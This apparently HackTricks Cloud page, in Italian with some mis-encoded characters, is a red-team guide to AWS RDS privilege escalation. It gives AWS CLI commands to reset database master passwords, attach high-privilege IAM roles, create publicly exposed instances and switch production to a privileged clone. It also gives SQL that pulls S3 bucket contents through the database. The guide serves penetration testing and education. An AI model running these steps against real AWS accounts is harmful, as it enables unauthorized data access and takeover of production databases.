AWS - RDS Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
RDS - Servizio di Database Relazionale
Per maggiori informazioni su RDS consulta:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Con quel permesso un attacker può modificare la password dellâutente master, e il login allâinterno del database:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Dovrai essere in grado di contattare il database (sono di solito accessibili solo dallâinterno delle reti).
Impatto potenziale: Trovare informazioni sensibili allâinterno dei database.
rds-db:connect
Secondo la docs un utente con questo permesso potrebbe connettersi allâistanza DB.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
Tip
Se eseguendo
SELECT datname FROM pg_database;trovi un database chiamatordsadmin, sai di essere allâinterno di un database AWS postgresql.
Per prima cosa puoi verificare se questo database è stato usato per accedere ad altri servizi AWS. Puoi controllare questo guardando le estensioni installate:
SELECT * FROM pg_extension;
Se trovi qualcosa come aws_s3 puoi assumere che questo database abbia un qualche tipo di accesso a S3 (ci sono altre estensioni come aws_ml e aws_lambda).
Inoltre, se hai i permessi per eseguire aws rds describe-db-clusters puoi vedere lĂŹ se il cluster ha qualche IAM Role associato nel campo AssociatedRoles. Se presente, puoi presumere che il database sia stato preparato per accedere ad altri servizi AWS. In base al nome del role (o se riesci a ottenere i permessi del role) potresti indovinare quale accesso aggiuntivo possiede il database.
Ora, per leggere un file allâinterno di un bucket devi conoscere il percorso completo. Puoi leggerlo con:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Se avessi raw AWS credentials potresti anche usarle per accedere ai dati S3 con:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql non deve modificare alcuna variabile del gruppo di parametri per poter accedere a S3.
Mysql (Aurora)
Tip
Allâinterno di un mysql, se esegui la query
SELECT User, Host FROM mysql.user;e câè un utente chiamatordsadmin, puoi assumere di trovarti in un AWS RDS mysql db.
Allâinterno del mysql esegui show variables; e se variabili come aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, hanno dei valori, puoi assumere che il database sia predisposto per accedere ai dati in S3.
Inoltre, se hai i permessi per eseguire aws rds describe-db-clusters puoi verificare se il cluster ha un ruolo associato, il che solitamente significa accesso ai servizi AWS).
Ora, per leggere un file allâinterno di un bucket devi conoscere il percorso completo. Puoi leggerlo con:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Un attacker con i permessi rds:AddRoleToDBCluster e iam:PassRole può aggiungere un ruolo specificato a unâistanza RDS esistente. Questo potrebbe permettere allâattacker di accedere a dati sensibili o di modificare i dati contenuti nellâistanza.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impatto potenziale: Accesso a dati sensibili o modifiche non autorizzate ai dati nellâistanza RDS.
Nota che alcuni DBs richiedono configurazioni aggiuntive come Mysql, che necessita anche di specificare il role ARN negli aprameter groups.
rds:CreateDBInstance
Solo con questo permesso un attacker potrebbe creare una nuova istanza allâinterno di un cluster che giĂ esiste e ha una IAM role allegata. Non sarĂ in grado di cambiare la password dellâutente master, ma potrebbe essere in grado di esporre la nuova istanza di database su Internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
DA FARE: Testare
Un attaccante con le autorizzazioni rds:CreateDBInstance e iam:PassRole può creare una nuova istanza RDS con un role specificato associato. Lâattaccante può poi potenzialmente accedere a dati sensibili o modificare i dati allâinterno dellâistanza.
Warning
Alcuni requisiti del role/instance-profile da associare (da here):
- Lâinstance profile deve esistere nel tuo account.
- Lâinstance profile deve avere un IAM role che Amazon EC2 è autorizzato ad assumere.
- Il nome dellâinstance profile e il nome dellâIAM role associato devono iniziare con il prefisso
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impatto potenziale: Accesso a dati sensibili o modifiche non autorizzate ai dati nellâistanza RDS.
rds:AddRoleToDBInstance, iam:PassRole
Un attaccante con i permessi rds:AddRoleToDBInstance e iam:PassRole può aggiungere un ruolo specificato a unâistanza RDS esistente. Questo potrebbe consentire allâattaccante di accedere a dati sensibili o modificare i dati allâinterno dellâistanza.
Warning
Lâistanza DB deve essere al di fuori di un cluster perchĂŠ ciò funzioni
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impatto potenziale: Accesso a dati sensibili o modifiche non autorizzate ai dati nellâistanza RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Un attaccante con queste autorizzazioni può clonare un database di produzione (Blue), allegare al clone un ruolo IAM con privilegi elevati (Green) e poi usare lo switchover per sostituire lâambiente di produzione. Questo permette allâattaccante di elevare i privilegi del database e ottenere accesso non autorizzato ad altre risorse AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Impatto potenziale: Controllo completo dellâambiente di database di produzione. Dopo lo switchover, il database opera con privilegi elevati, consentendo accesso non autorizzato ad altri servizi AWS (es., S3, Lambda, Secrets Manager) dallâinterno del database.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

